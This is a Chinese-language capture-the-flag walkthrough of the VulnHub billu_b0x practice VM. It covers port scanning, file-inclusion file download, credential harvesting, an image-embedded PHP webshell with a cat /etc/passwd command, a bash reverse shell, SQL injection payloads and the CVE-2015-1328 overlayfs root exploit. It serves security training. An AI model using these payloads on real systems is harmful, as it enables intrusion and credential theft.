https://www.vulnhub.com/

里面有很多安全环境,只要下载相关镜像,在虚拟机上面搭建运行就可以练习对应靶场了。

第一步、信息收集

nmap扫描内网开放80端口的存活主机  nmap - p 80 192.168.31.0/24

目标IP192.168.31.16

nmap -p 1-65535  192.168.31.16

目标主机端口探测(开放22端口【考虑可以尝试爆破root】、80端口开放)、且目标主机为linux系统、使用apache2.2中间件

第二步、web服务渗透与提权

提示sql注入,在手工尝试与sqlmap跑post包之后放弃了

御剑爆破一下后台目录

访问192.168.31.16/test.php

提示file参数为空

我们测试一下文件包含

尝试POST提交file=test.php此处为任意文件下载,将目录遍历出的文件全部下载开始代码审计

这里我们看到了文件包含漏洞造成得任意文件下载漏洞得  成因

我们继续下载御剑爆破出来的目录文件与审计代码中发现的文件

在c.php文件中发现了数据库和密码

我们加下来访问192.168.31.16/phpmyadmin失败 ,应该是目录改名了,改一下御剑的字典继续爆破,成功得到phpmyadmin地址phpmy

并成功获得了用户名和密码

我们先不登陆继续看下phpmy目录下有没有可以利用的文件

直接获得了mysql的用户名和密码我们链接下22端口

成功获得了root权限

那我们再回到刚才获得的web用户的账号和密码 看下是不是可以获得webshell

成功登陆后showuser的地方有两个头像火狐浏览器右键查看图像 看到图像地址

我们把头像下载下来

在文件尾部插入一句话

cmd命令马<?php system($_GET['cmd']); ?> 将文件上传成功。

接下来用burp抓一个post包

post请求url中加入执行命令的参数:POST /panel.php?cmd=cat%20/etc/passwd;ls

post的body中包含laodi.jpg图片马:load=/uploaded_images/cmd.jpg&continue=continue

命令被成功执行了

我们接下来利用该功能用bash反弹一个shell

bash反弹shell先进行url编码

在另一台主机上监听本地8888端口

反弹了一个www权限的shell

接下来肯定是提权了

写入一句话  目录不可写

那我们进入uploaded_images 目录试一下成功了

菜刀连接方便传文件(wget远程下载的话也可以)

看一下内核版本

接下来利用相关版本提权脚本Exploit Title: ofs.c - overlayfs local root in ubuntu

# Date: 2015-06-15

# Exploit Author: rebel

# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)

# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04

# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

Exp地址:https://www.exploit-db.com/exploits/37292

给我们上传的脚本一个777权限

Chmod  777  ./*    (或者chmod  777  yun.c)

gcc yun.c -o yun(编译脚本并重命名为yun)

./yun(运行编译后的脚本)

看下是root权限提权成功了

最后我们在回到这个sql注入上

str_replace的作用是将字符串\' 替换为空,因此构造SQL注入登录payload时,必须含有\'字符串,否则会报错。urldecode的作用是将输入解码。

测试payload为%27+or+1%3d1+--%5c%27没成功

' or 1=1 --\'依旧没有成功    于是我放弃了sql注入

billu_b0x靶场刷题的更多相关文章

  1. CTF学习路线指南(附刷题练习网址)

    PWN,Reverse:偏重对汇编,逆向的理解: Gypto:偏重对数学,算法的深入学习: Web:偏重对技巧沉淀,快速搜索能力的挑战: Mic:则更为复杂,所有与计算机安全挑战有关的都算在其中 常规 ...

  2. LeetCode刷题系列

    LeetCode 我们工作面试和提高自身数据结构和算法能力的时候往往需要刷刷题,我选择LeetCode是通过一个留学论坛了解的.专业,覆盖语种全面. 提前说说刷题的心得: 尽量手写代码,少使用IDE的 ...

  3. ife任务刷题总结(一)-css reset与清除浮动

    本文同时发布于本人的个人网站www.yaoxiaowen.com 百度创办的前端技术学院,是一个面向大学生的前端技术学习平台.虽然只有大学生才有资格报名,提交代码进行比赛排名.但是这并不妨碍我们这些初 ...

  4. 刷题ING...

    我用codeVS刷题.. 努力准备!!

  5. XidianOJ 1020 ACMer去刷题吧

    题目描述 刷题是每个ACMer必由之路,已知某oj上有n个题目,第i个题目小X能做对的概率为Pi(0<=Pi<=1,1<=i<=n) 求小X至少做对k道题的概率 输入 第一行输 ...

  6. 【BZOJ-4590】自动刷题机 二分 + 判定

    4590: [Shoi2015]自动刷题机 Time Limit: 10 Sec  Memory Limit: 256 MBSubmit: 156  Solved: 63[Submit][Status ...

  7. NOI题库分治算法刷题记录

    今天晚自习机房刷题,有一道题最终WA掉两组,极其不爽,晚上回家补完作业欣然搞定它,特意来写篇博文来记录下 (最想吐槽的是这个叫做分治的分类,里面的题目真的需要分治吗...) 先来说下分治法 分治法的设 ...

  8. NOI题库刷题日志 (贪心篇题解)

    这段时间在NOI题库上刷了刷题,来写点心得和题解 一.寻找平面上的极大点 2704:寻找平面上的极大点 总时间限制:  1000ms  内存限制:  65536kB 描述 在一个平面上,如果有两个点( ...

  9. 用js刷题的一些坑

    leecode可以用js刷题了,我大js越来越被认可了是吧.但是刷题中会因为忽略js的一些特性掉入坑里.我这里总结一下我掉过的坑. 坑1:js中数组对象是引用对象 js中除了object还有数组对象也 ...

随机推荐

  1. Android Studio手动下载配置Gradle的方法

    1 问题 (1) android sutdio第一次打开一个工程巨慢怎么办? (2) 手动配置Gradle Home为什么总是无效? (3) 明明已经下载了Gradle,配置了gradle home, ...

  2. 【旧文章搬运】从PEB获取内存中模块列表

    原文发表于百度空间,2008-7-25========================================================================== PEB中的L ...

  3. c++实现数值的整数次方(类似pow())作用

    /* * 计算数值的整数次方.cpp * * Created on: 2018年4月13日 * Author: soyo */ #include<iostream> #include< ...

  4. XMPP即时通讯基础知识

    XMPP参考 一.定义 XMPP 是一种很类似于http协议的一种数据传输协议,它的过程就如同“解包装--〉包装”的过程,用户只需要明白它接受的类型,并理解它返回的类型,就可以很好的利用xmpp来进行 ...

  5. 004--linux命令tar 软硬链接

    一.tar命令介绍: -c:创建一个新的tar文件 -t:列出tar文件中目录的内容 -x:从tar文件中抽取文件 -f:指定归档文件或磁带(也可能是软盘)设备(一般都要选) -v:显示所打包的文件的 ...

  6. Get back Typing Break in Ubuntu 12.04 & 11.10(转载)

    转自:http://ubuntuguide.net/get-back-typing-break-in-ubuntu-12-04-11-10 Since Ubuntu 11.10 Oneiric, th ...

  7. Ant Design Vue项目解析-前言

    源码系列文章很长时间没有更新,一是在考虑文章用什么方式写质量会更高,用什么方式总结更易于扩展和总结知识点,加上工作.看书.健身占用的时间比较多所以也没时间去整理.最近在网上看到一篇文章感觉这种方式不错 ...

  8. hdoj3665【简单DFS】

    题意: 略. 思路: n就10而已,没有环,搜一下就好了.. #include <bits/stdc++.h> using namespace std; typedef long long ...

  9. document.body 与 document.documentElement区别介绍

    什么是document.body? 返回html dom中的body节点 即<body> 什么是 document.documentElement? 返回html dom中的root 节点 ...

  10. 520 Detect Capital 检测大写字母

    给定一个单词,你需要判断单词的大写使用是否正确.我们定义,在以下情况时,单词的大写用法是正确的:    全部字母都是大写,比如"USA".    单词中所有字母都不是大写,比如&q ...